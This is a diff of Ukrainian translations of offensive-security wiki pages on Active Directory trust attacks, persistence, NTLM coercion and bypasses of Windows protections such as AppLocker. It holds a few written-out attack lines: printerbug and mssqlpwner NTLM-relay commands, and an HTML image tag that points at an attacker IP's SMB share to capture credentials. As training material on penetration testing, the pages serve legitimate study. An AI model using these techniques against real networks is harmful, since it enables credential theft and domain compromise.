**Описники безпеки** використовуються для **зберігання** **привілеїв**, які має **об'єкт** **над** **об'єктом**. Якщо ви зможете **зробити** **невелику зміну** в **описнику безпеки** об'єкта, ви зможете отримати дуже цікаві привілеї над цим об'єктом без необхідності бути членом привілейованої групи.
**Описники безпеки** використовуються для **зберігання** **привілеїв**, які має **об'єкт** **над** іншим **об'єктом**. Якщо ви можете просто **зробити** **невелику зміну** в **описнику безпеки** об'єкта, ви можете отримати дуже цікаві привілеї над цим об'єктом, не будучи членом привілейованої групи.
{{#ref}}
security-descriptors.md
@ -465,7 +465,7 @@ security-descriptors.md
### Скелетний Ключ
Змініть **LSASS** в пам'яті, щоб встановити **універсальний пароль**, що надає доступ до всіх доменних облікових записів.
Змініть **LSASS** в пам'яті, щоб встановити **універсальний пароль**, що надає доступ до всіх облікових записів домену.
{{#ref}}
skeleton-key.md
@ -474,7 +474,7 @@ skeleton-key.md
### Користувацький SSP
[Дізнайтеся, що таке SSP (Постачальник Підтримки Безпеки) тут.](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\
Ви можете створити свій **власний SSP** для **захоплення** в **чистому тексті** **облікових даних**, які використовуються для доступу до машини.\\
Ви можете створити свій **власний SSP**, щоб **захоплювати** в **чистому вигляді** **облікові дані**, які використовуються для доступу до машини.\\
{{#ref}}
custom-ssp.md
@ -482,7 +482,7 @@ custom-ssp.md
### DCShadow
Це реєструє **новий Контролер Домену** в AD і використовує його для **поширення атрибутів** (SIDHistory, SPNs...) на вказаних об'єктах **без** залишення будь-яких **журналів** щодо **модифікацій**. Вам **потрібні DA** привілеї та бути всередині **кореневого домену**.\
Це реєструє **новий Контролер Домену** в AD і використовує його для **поширення атрибутів** (SIDHistory, SPNs...) на вказаних об'єктах **без** залишення будь-яких **журналів** щодо **змін**. Вам **потрібні DA** привілеї та бути всередині **кореневого домену**.\
Зверніть увагу, що якщо ви використовуєте неправильні дані, з'являться досить неприємні журнали.
{{#ref}}
@ -491,7 +491,7 @@ dcshadow.md
### Постійність LAPS
Раніше ми обговорювали, як підвищити привілеї, якщо у вас є **достатні права для читання паролів LAPS**. Однак ці паролі також можуть бути використані для **підтримки постійності**.\
Раніше ми обговорювали, як підвищити привілеї, якщо у вас є **достатні права для читання паролів LAPS**. Однак ці паролі також можуть бути використані для **збереження постійності**.\
Перевірте:
{{#ref}}
@ -504,52 +504,52 @@ Microsoft розглядає **Ліс** як межу безпеки. Це оз
### Основна Інформація
[**Доменна довіра**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) є механізмом безпеки, який дозволяє користувачу з одного **домену** отримувати доступ до ресурсів в іншому **домені**. Це фактично створює зв'язок між системами аутентифікації двох доменів, що дозволяє безперешкодно проходити перевірки аутентифікації. Коли домени встановлюють довіру, вони обмінюються та зберігають специфічні **ключі** в своїх **Контролерах Домену (DC)**, які є критично важливими для цілісності довіри.
[**Доменна довіра**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) є механізмом безпеки, який дозволяє користувачу з одного **домену** отримувати доступ до ресурсів в іншому **домені**. Це фактично створює зв'язок між системами аутентифікації двох доменів, дозволяючи перевіркам аутентифікації проходити безперешкодно. Коли домени встановлюють довіру, вони обмінюються та зберігають певні **ключі** в своїх **Контролерах Домену (DC)**, які є критично важливими для цілісності довіри.
У типовій ситуації, якщо користувач має намір отримати доступ до служби в **довіреному домені**, спочатку він повинен запитати спеціальний квиток, відомий як **квиток TGT між царствами**, у DC свого власного домену. Цей TGT зашифрований спільним **ключем**, на якому обидва домени погодилися. Користувач потім представляє цей TGT **DC довіреного домену**, щоб отримати квиток на службу (**TGS**). Після успішної перевірки TGT між царствами DC довіреного домену видає TGS, надаючи користувачу доступ до служби.
У типовій ситуації, якщо користувач має намір отримати доступ до служби в **довіреному домені**, він спочатку повинен запитати спеціальний квиток, відомий як **міждоменний TGT**, у DC свого власного домену. Цей TGT зашифрований спільним **ключем**, на якому обидва домени погодилися. Користувач потім представляє цей TGT **DC довіреного домену**, щоб отримати квиток на службу (**TGS**). Після успішної перевірки міждоменного TGT DC довіреного домену видає TGS, надаючи користувачу доступ до служби.
**Кроки**:
1. **Клієнтський комп'ютер** в **Домені 1** починає процес, використовуючи свій **NTLM хеш** для запиту **Квитка на Надання Квитків (TGT)** у свого **Контролера Домену (DC1)**.
2. DC1 видає новий TGT, якщо клієнт успішно аутентифікований.
3. Клієнт потім запитує **квиток TGT між царствами** у DC1, який потрібен для доступу до ресурсів у **Домені 2**.
4. Квиток TGT між царствами зашифрований спільним **ключем довіри**, що ділиться між DC1 та DC2 в рамках двосторонньої довіри домену.
5. Клієнт приносить квиток TGT між царствами до **Контролера Домену 2 (DC2)**.
6. DC2 перевіряє квиток TGT між царствами, використовуючи свій спільний ключ довіри, і, якщо він дійсний, видає **Квиток на Надання Служби (TGS)** для сервера в Домені 2, до якого клієнт хоче отримати доступ.
3. Клієнт потім запитує **міждоменний TGT** у DC1, який потрібен для доступу до ресурсів у **Домені 2**.
4. Міждоменний TGT зашифрований спільним **ключем довіри**, що ділиться між DC1 та DC2 в рамках двосторонньої довіри домену.
5. Клієнт приносить міждоменний TGT до **Контролера Домену 2 (DC2)**.
6. DC2 перевіряє міждоменний TGT, використовуючи свій спільний ключ довіри, і, якщо він дійсний, видає **Квиток на Надання Служби (TGS)** для сервера в Домені 2, до якого клієнт хоче отримати доступ.
7. Нарешті, клієнт представляє цей TGS серверу, який зашифрований хешем облікового запису сервера, щоб отримати доступ до служби в Домені 2.
### Різні довіри
Важливо зазначити, що **довіра може бути односторонньою або двосторонньою**. У двосторонньому варіанті обидва домени довіряють один одному, але в **односторонній** довірчій відносині один з доменів буде **довіреним**, а інший - **доверяючим**. У останньому випадку **ви зможете отримати доступ до ресурсів лише всередині довірчого домену з довіреного**.
Важливо помітити, що **довіра може бути односторонньою або двосторонньою**. У двосторонньому варіанті обидва домени довіряють один одному, але в **односторонній** довірчій відносині один з доменів буде **довіреним**, а інший - **доверяючим**. У останньому випадку **ви зможете отримати доступ до ресурсів лише всередині довірчого домену з довіреного.**
Якщо Домен A довіряє Домену B, A є довірчим доменом, а B - довіреним. Більше того, в **Доміні A** це буде **вихідна довіра**; а в **Доміні B** це буде **вхідна довіра**.
Якщо Домен A довіряє Домену B, A є довірчим доменом, а B - довіреним. Більше того, у **Домені A** це буде **вихідна довіра**; а в **Домені B** це буде **вхідна довіра**.
**Різні довірчі відносини**
- **Довіри Батьків-Дітей**: Це звичайна налаштування в межах одного лісу, де дитячий домен автоматично має двосторонню транзитивну довіру з батьківським доменом. Це означає, що запити на аутентифікацію можуть безперешкодно проходити між батьком і дитиною.
- **Перехресні Довіри**: Відомі як "скорочені довіри", вони встановлюються між дитячими доменами для прискорення процесів посилання. У складних лісах запити на аутентифікацію зазвичай повинні подорожувати до кореня лісу, а потім вниз до цільового домену. Створюючи перехресні зв'язки, подорож скорочується, що особливо корисно в географічно розподілених середовищах.
- **Перехресні Довіри**: Відомі як "скорочені довіри", вони встановлюються між дитячими доменами для прискорення процесів посилання. У складних лісах посилання на аутентифікацію зазвичай повинні подорожувати до кореня лісу, а потім вниз до цільового домену. Створюючи перехресні зв'язки, подорож скорочується, що особливо корисно в географічно розподілених середовищах.
- **Зовнішні Довіри**: Вони встановлюються між різними, несвязаними доменами і за своєю природою є нетранзитивними. Згідно з [документацією Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), зовнішні довіри корисні для доступу до ресурсів у домені поза поточним лісом, який не підключений через довіру лісу. Безпека посилюється через фільтрацію SID з зовнішніми довірами.
- **Довіри Кореня Дерева**: Ці довіри автоматично встановлюються між кореневим доменом лісу та новим коренем дерева. Хоча їх не часто зустрічають, довіри кореня дерева важливі для додавання нових доменних дерев до лісу, дозволяючи їм зберігати унікальну назву домену та забезпечуючи двосторонню транзитивність. Більше інформації можна знайти в [посібнику Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Довіри Кореня Дерева**: Ці довіри автоматично встановлюються між кореневим доменом лісу та новоствореним коренем дерева. Хоча їх не часто зустрічають, довіри кореня дерева важливі для додавання нових доменних дерев до лісу, дозволяючи їм зберігати унікальне ім'я домену та забезпечуючи двосторонню транзитивність. Більше інформації можна знайти в [посібнику Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Довіри Лісу**: Цей тип довіри є двосторонньою транзитивною довірою між двома кореневими доменами лісу, також забезпечуючи фільтрацію SID для підвищення заходів безпеки.
- **Довіри MIT**: Ці довіри встановлюються з не-Windows, [RFC4120-сумісними](https://tools.ietf.org/html/rfc4120) доменами Kerberos. Довіри MIT є дещо більш спеціалізованими і призначені для середовищ, які потребують інтеграції з системами на основі Kerberos поза екосистемою Windows.
#### Інші відмінності в **довірчих відносинах**
- Довірча відносина також може бути **транзитивною** (A довіряє B, B довіряє C, тоді A довіряє C) або **нетранзитивною**.
- Довірча відносина може бути налаштована як **двостороння довіра** (обидва довіряють один одному) або як **одностороння довіра** (лише один з них довіряє іншому).
- Довірчі відносини можуть також бути **транзитивними** (A довіряє B, B довіряє C, тоді A довіряє C) або **нетранзитивними**.
- Довірчі відносини можуть бути налаштовані як **двостороння довіра** (обидва довіряють один одному) або як **одностороння довіра** (лише один з них довіряє іншому).
### Атакувальний Шлях
### Шлях Атаки
1. **Перелічити** довірчі відносини
2. Перевірте, чи має будь-який **суб'єкт безпеки** (користувач/група/комп'ютер) **доступ** до ресурсів **іншого домену**, можливо, через записи ACE або через членство в групах іншого домену. Шукайте **відносини між доменами** (довіра була створена для цього, напевно).
2. Перевірте, чи має будь-який **суб'єкт безпеки** (користувач/група/комп'ютер) **доступ** до ресурсів **іншого домену**, можливо, через записи ACE або будучи в групах іншого домену. Шукайте **відносини між доменами** (довіра була створена для цього, напевно).
1. У цьому випадку kerberoast може бути ще одним варіантом.
3. **Скомпрометувати** **облікові записи**, які можуть **перемикатися** між доменами.
Зловмисники можуть отримати доступ до ресурсів в іншому домені через три основні механізми:
- **Членство в Локальних Групах**: Суб'єкти можуть бути додані до локальних груп на машинах, таких як група "Адміністратори" на сервері, що надає їм значний контроль над цією машиною.
- **Членство в Локальних Групах**: Суб'єкти можуть бути додані до локальних груп на машинах, таких як група "Адміністратори" на сервері, надаючи їм значний контроль над цією машиною.
- **Членство в Групах Зовнішнього Домену**: Суб'єкти також можуть бути членами груп у зовнішньому домені. Однак ефективність цього методу залежить від природи довіри та обсягу групи.
- **Списки Контролю Доступу (ACL)**: Суб'єкти можуть бути вказані в **ACL**, особливо як сутності в **ACE** в рамках **DACL**, надаючи їм доступ до специфічних ресурсів. Для тих, хто хоче глибше зануритися в механіку ACL, DACL та ACE, документ під назвою “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” є безцінним ресурсом.
- **Списки Контролю Доступу (ACL)**: Суб'єкти можуть бути вказані в **ACL**, особливо як сутності в **ACE** в межах **DACL**, надаючи їм доступ до конкретних ресурсів. Для тих, хто хоче глибше зануритися в механіку ACL, DACL та ACE, біла книга під назвою “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” є безцінним ресурсом.
### Підвищення Привілеїв Лісу від Дитини до Батька
```
@ -564,7 +564,7 @@ WhenCreated : 2/19/2021 1:28:00 PM
WhenChanged : 2/19/2021 1:28:00 PM
```
> [!WARNING]
> Є **2 довірених ключі**, один для _Child --> Parent_ і інший для _Parent_ --> _Child_.\
> Є **2 довірених ключі**, один для _Child --> Parent_ і ще один для _Parent_ --> _Child_.\
> Ви можете використовувати той, що використовується поточним доменом, з:
>
> ```bash
@ -586,27 +586,27 @@ sid-history-injection.md
**Прив'язка GPO до кореневого сайту DC**
Контейнер Sites Configuration NC містить інформацію про всі комп'ютери, приєднані до домену, у лісі AD. Працюючи з привілеями SYSTEM на будь-якому DC, зловмисники можуть прив'язувати GPO до кореневих сайтів DC. Ця дія потенційно компрометує кореневий домен, маніпулюючи політиками, які застосовуються до цих сайтів.
Контейнер Sites Configuration NC містить інформацію про всі сайти комп'ютерів, приєднаних до домену, у лісі AD. Працюючи з привілеями SYSTEM на будь-якому DC, зловмисники можуть прив'язувати GPO до кореневих сайтів DC. Ця дія потенційно компрометує кореневий домен, маніпулюючи політиками, що застосовуються до цих сайтів.
Для детальної інформації можна дослідити дослідження про [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
Для детальної інформації можна дослідити матеріали про [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
**Компрометація будь-якого gMSA у лісі**
Вектор атаки передбачає націлювання на привілейовані gMSA в домені. Ключ KDS Root, необхідний для обчислення паролів gMSA, зберігається в Configuration NC. Маючи привілеї SYSTEM на будь-якому DC, можна отримати доступ до ключа KDS Root і обчислити паролі для будь-якого gMSA в лісі.
Детальний аналіз можна знайти в обговоренні про [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
Детальний аналіз можна знайти в обговоренні [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
**Атака на зміну схеми**
Цей метод вимагає терпіння, очікуючи створення нових привілейованих об'єктів AD. Маючи привілеї SYSTEM, зловмисник може змінити схему AD, щоб надати будь-якому користувачу повний контроль над усіма класами. Це може призвести до несанкціонованого доступу та контролю над новоствореними об'єктами AD.
Додаткова інформація доступна на [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
Додаткову інформацію можна знайти на [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
**Від DA до EA з ADCS ESC5**
Уразливість ADCS ESC5 націлюється на контроль над об'єктами Інфраструктури відкритих ключів (PKI) для створення шаблону сертифіката, який дозволяє автентифікацію як будь-який користувач у лісі. Оскільки об'єкти PKI знаходяться в Configuration NC, компрометація записуваного дочірнього DC дозволяє виконувати атаки ESC5.
Уразливість ADCS ESC5 націлюється на контроль над об'єктами Інфраструктури відкритих ключів (PKI) для створення шаблону сертифіката, який дозволяє аутентифікацію як будь-якого користувача в лісі. Оскільки об'єкти PKI знаходяться в Configuration NC, компрометація записуваного дочірнього DC дозволяє виконувати атаки ESC5.
Більше деталей про це можна прочитати в [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). У сценаріях, де відсутній ADCS, зловмисник має можливість налаштувати необхідні компоненти, як обговорюється в [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
Більше деталей про це можна прочитати в [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). У сценаріях, де немає ADCS, зловмисник має можливість налаштувати необхідні компоненти, як обговорюється в [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
### Зовнішній лісовий домен - односторонній (вхідний) або двосторонній
```powershell
@ -639,7 +639,7 @@ WhenChanged : 2/19/2021 10:15:24 PM
```
У цьому сценарії **ваш домен** **довіряє** деяким **привілеям** принципу з **інших доменів**.
Однак, коли **домен довіряє** довіреному домену, довірений домен **створює користувача** з **передбачуваним ім'ям**, який використовує **пароль довіреного пароля**. Це означає, що можливо **отримати доступ до користувача з довіреного домену, щоб потрапити всередину довіреного** для його перерахунку та спроби підвищити більше привілеїв:
Однак, коли **домен довіряє** довіреному домену, довірений домен **створює користувача** з **передбачуваним ім'ям**, який використовує **довірений пароль**. Це означає, що можливо **отримати доступ до користувача з довіреного домену, щоб потрапити всередину довіреного** для його перерахунку та спроби підвищити привілеї:
{{#ref}}
external-forest-domain-one-way-outbound.md
@ -647,8 +647,8 @@ external-forest-domain-one-way-outbound.md
Ще один спосіб скомпрометувати довірений домен - це знайти [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links), створений у **протилежному напрямку** довіри домену (що не є дуже поширеним).
Ще один спосіб скомпрометувати довірений домен - це чекати на машині, де **користувач з довіреного домену може отримати доступ** для входу через **RDP**. Тоді зловмисник може ввести код у процес сесії RDP і **отримати доступ до початкового домену жертви** звідти.\
Більше того, якщо **жертва змонтувала свій жорсткий диск**, з процесу **сесії RDP** зловмисник може зберігати **бекдори** у **папці автозавантаження жорсткого диска**. Цю техніку називають **RDPInception.**
Ще один спосіб скомпрометувати довірений домен - це чекати на машині, до якої **користувач з довіреного домену може отримати доступ** для входу через **RDP**. Тоді зловмисник може впровадити код у процес сесії RDP і **отримати доступ до початкового домену жертви** звідти.\
Більше того, якщо **жертва підключила свій жорсткий диск**, з процесу **сесії RDP** зловмисник може зберігати **бекдори** у **папці автозавантаження жорсткого диска**. Цю техніку називають **RDPInception.**
{{#ref}}
rdp-sessions-abuse.md
@ -663,14 +663,16 @@ rdp-sessions-abuse.md
### **Вибіркова аутентифікація:**
- Для міжлісових довірів використання вибіркової аутентифікації забезпечує, що користувачі з двох лісів не аутентифікуються автоматично. Натомість, для доступу до доменів і серверів у довіреному домені або лісі потрібні явні дозволи.
- Для міжлісових довірів використання вибіркової аутентифікації забезпечує, що користувачі з двох лісів не аутентифікуються автоматично. Натомість для доступу до доменів і серверів у довіреному домені або лісі потрібні явні дозволи.
- Важливо зазначити, що ці заходи не захищають від експлуатації запису конфігурації, що підлягає запису (NC), або атак на обліковий запис довіри.
[**Більше інформації про довіри доменів на ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
## AD -> Azure & Azure -> AD
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
{{#endref}}
## Деякі загальні заходи захисту
@ -690,7 +692,7 @@ rdp-sessions-abuse.md
### **Виявлення обману**
- **Для об'єктів користувачів**: Підозрілі ознаки включають нетиповий ObjectSID, рідкісні входи, дати створення та низькі кількості неправильних паролів.
- **Для об'єктів користувачів**: Підозрілі ознаки включають нетиповий ObjectSID, рідкісні входи, дати створення та низькі кількості невірних паролів.
- **Загальні ознаки**: Порівняння атрибутів потенційних приманкових об'єктів з атрибутами справжніх може виявити невідповідності. Інструменти, такі як [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster), можуть допомогти в ідентифікації таких обманів.
### **Обхід систем виявлення**

View File

@ -45,7 +45,9 @@ printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
## RCP Примусова аутентифікація
{% embed url="https://github.com/p0dalirius/Coercer" %}
{{#ref}}
https://github.com/p0dalirius/Coercer
{{#endref}}
## PrivExchange
@ -84,11 +86,11 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
```bash
certutil.exe -syncwithWU \\127.0.0.1\share
```
## HTML ін'єкція
## HTML injection
### Через електронну пошту
### Via email
Якщо ви знаєте **електронну адресу** користувача, який входить у систему машини, яку ви хочете скомпрометувати, ви можете просто надіслати йому **електронний лист з зображенням 1x1** таким як
Якщо ви знаєте **адресу електронної пошти** користувача, який входить у систему машини, яку ви хочете скомпрометувати, ви можете просто надіслати йому **електронний лист з зображенням 1x1** таким як
```html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
```
@ -96,7 +98,7 @@ certutil.exe -syncwithWU \\127.0.0.1\share
### MitM
Якщо ви можете виконати атаку MitM на комп'ютер і вставити HTML на сторінку, яку він буде переглядати, ви можете спробувати вставити зображення, подібне до наступного, на сторінку:
Якщо ви можете виконати атаку MitM на комп'ютер і ввести HTML на сторінку, яку він буде переглядати, ви можете спробувати вставити зображення, подібне до наступного, на сторінку:
```html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
```

View File

@ -20,7 +20,7 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
```
Цей шлях реєстру містить конфігурації та політики, застосовані AppLocker, надаючи спосіб перегляду поточного набору правил, що застосовуються в системі:
Цей шлях реєстру містить конфігурації та політики, застосовані AppLocker, що забезпечує можливість перегляду поточного набору правил, що застосовуються в системі:
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
@ -38,7 +38,7 @@ C:\windows\tracing
- Наприклад, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, ви можете створити **папку під назвою `allowed`** будь-де, і вона буде дозволена.
- Організації також часто зосереджуються на **блокуванні виконуваного файлу `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, але забувають про **інші** [**місця виконуваних файлів PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) такі як `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` або `PowerShell_ISE.exe`.
- **Примус DLL дуже рідко активується** через додаткове навантаження, яке він може створити на системі, і кількість тестування, необхідного для забезпечення того, щоб нічого не зламалося. Тому використання **DLL як бекдорів допоможе обійти AppLocker**.
- Ви можете використовувати [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) або [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick), щоб **виконати код Powershell** в будь-якому процесі та обійти AppLocker. Для отримання додаткової інформації перегляньте: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
- Ви можете використовувати [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) або [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) для **виконання коду Powershell** в будь-якому процесі та обходу AppLocker. Для отримання додаткової інформації перегляньте: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
## Зберігання облікових даних
@ -50,7 +50,7 @@ C:\windows\tracing
**Облікові дані** (хешовані) **зберігаються** в **пам'яті** цього підсистеми з причин єдиного входу.\
**LSA** адмініструє локальну **політику безпеки** (політика паролів, дозволи користувачів...), **аутентифікацію**, **токени доступу**...\
LSA буде тим, хто **перевірить** надані облікові дані в файлі **SAM** (для локального входу) і **спілкуватиметься** з **контролером домену** для аутентифікації користувача домену.
LSA буде тим, хто **перевірить** надані облікові дані в файлі **SAM** (для локального входу) і **зв'яжеться** з **контролером домену** для аутентифікації користувача домену.
**Облікові дані** **зберігаються** всередині **процесу LSASS**: квитки Kerberos, хеші NT і LM, легко розшифровані паролі.
@ -69,7 +69,7 @@ LSA може зберігати на диску деякі облікові да
## Захисник
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) - це антивірус, доступний у Windows 10 і Windows 11, а також у версіях Windows Server. Він **блокує** загальні інструменти для пентестингу, такі як **`WinPEAS`**. Однак є способи **обійти ці захисти**.
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) - це антивірус, доступний у Windows 10 і Windows 11, а також у версіях Windows Server. Він **блокує** загальні інструменти для пентестингу, такі як **`WinPEAS`**. Однак існують способи **обійти ці захисти**.
### Перевірка
@ -114,7 +114,7 @@ EFS захищає файли через шифрування, використ
**Основні висновки**:
- EFS використовує симетричний FEK, зашифрований за допомогою публічного ключа користувача.
- EFS використовує симетричний FEK, зашифрований публічним ключем користувача.
- Розшифрування використовує приватний ключ користувача для доступу до FEK.
- Автоматичне розшифрування відбувається за певних умов, таких як копіювання на FAT32 або передача по мережі.
- Зашифровані файли доступні власнику без додаткових кроків.
@ -134,7 +134,9 @@ EFS захищає файли через шифрування, використ
#### Knowing the users password
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
{{#ref}}
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
{{#endref}}
## Group Managed Service Accounts (gMSA)
@ -170,7 +172,7 @@ active-directory-methodology/laps.md
PowerShell [**Режим обмеженої мови**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **блокує багато функцій**, необхідних для ефективного використання PowerShell, таких як блокування COM-об'єктів, дозволяючи лише затверджені типи .NET, робочі процеси на основі XAML, класи PowerShell та інше.
### **Перевірити**
### **Перевірте**
```powershell
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
@ -246,5 +248,4 @@ SSPI буде відповідати за знаходження відпові
windows-security-controls/uac-user-account-control.md
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -6,7 +6,7 @@
Список дозволених програм - це список затверджених програм або виконуваних файлів, які можуть бути присутніми та виконуватись на системі. Мета полягає в захисті середовища від шкідливого програмного забезпечення та незатверджених програм, які не відповідають конкретним бізнес-потребам організації.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) - це **рішення Microsoft для білої списки програм** і надає адміністраторам системи контроль над **тим, які програми та файли можуть виконувати користувачі**. Воно забезпечує **досить детальний контроль** над виконуваними файлами, скриптами, файлами установників Windows, DLL, упакованими додатками та установниками упакованих додатків.\
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) - це **рішення Microsoft для білої списки програм** і надає системним адміністраторам контроль над **тим, які програми та файли можуть виконувати користувачі**. Воно забезпечує **досконалий контроль** над виконуваними файлами, скриптами, файлами установників Windows, DLL, упакованими додатками та установниками упакованих додатків.\
Зазвичай організації **блокують cmd.exe та PowerShell.exe** і запис у певні каталоги, **але це все можна обійти**.
### Перевірка
@ -20,7 +20,7 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
```
Цей шлях реєстру містить конфігурації та політики, застосовані AppLocker, що забезпечує можливість перегляду поточного набору правил, що застосовуються в системі:
Цей шлях реєстру містить конфігурації та політики, застосовані AppLocker, що забезпечує можливість перегляду поточного набору правил, які застосовуються в системі:
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
@ -69,7 +69,7 @@ LSA може зберігати на диску деякі облікові да
## Захисник
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) - це антивірус, доступний у Windows 10 і Windows 11, а також у версіях Windows Server. Він **блокує** загальні інструменти для пентестингу, такі як **`WinPEAS`**. Однак є способи **обійти ці захисти**.
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) - це антивірус, доступний у Windows 10 і Windows 11, а також у версіях Windows Server. Він **блокує** загальні інструменти пентестингу, такі як **`WinPEAS`**. Однак є способи **обійти ці захисти**.
### Перевірка
@ -110,11 +110,11 @@ EFS захищає файли через шифрування, використ
- Коли файли або папки переміщуються на файлову систему, що не підтримує EFS, наприклад, [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), вони автоматично розшифровуються.
- Зашифровані файли, надіслані через мережу за протоколом SMB/CIFS, розшифровуються перед передачею.
Цей метод шифрування дозволяє **прозорий доступ** до зашифрованих файлів для власника. Однак просте зміна пароля власника та вхід в систему не дозволить розшифрування.
Цей метод шифрування дозволяє **прозорий доступ** до зашифрованих файлів для власника. Однак просте зміна пароля власника та вхід не дозволить розшифрування.
**Основні висновки**:
- EFS використовує симетричний FEK, зашифрований публічним ключем користувача.
- EFS використовує симетричний FEK, зашифрований за допомогою публічного ключа користувача.
- Розшифрування використовує приватний ключ користувача для доступу до FEK.
- Автоматичне розшифрування відбувається за певних умов, таких як копіювання на FAT32 або передача по мережі.
- Зашифровані файли доступні власнику без додаткових кроків.
@ -134,7 +134,9 @@ EFS захищає файли через шифрування, використ
#### Knowing the users password
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
{{#ref}}
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
{{#endref}}
## Group Managed Service Accounts (gMSA)
@ -146,7 +148,7 @@ Microsoft розробила **Group Managed Service Accounts (gMSA)** для с
- **Можливість запланованих завдань**: На відміну від керованих облікових записів служб, gMSA підтримують виконання запланованих завдань.
- **Спрощене управління SPN**: Система автоматично оновлює Service Principal Name (SPN) при змінах у деталях sAMaccount комп'ютера або DNS-імені, спрощуючи управління SPN.
Паролі для gMSA зберігаються в властивості LDAP _**msDS-ManagedPassword**_ і автоматично скидаються кожні 30 днів контролерами домену (DC). Цей пароль, зашифрований даний об'єкт, відомий як [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), може бути отриманий лише авторизованими адміністраторами та серверами, на яких встановлені gMSA, що забезпечує безпечне середовище. Для доступу до цієї інформації потрібне захищене з'єднання, таке як LDAPS, або з'єднання повинно бути автентифіковане з 'Sealing & Secure'.
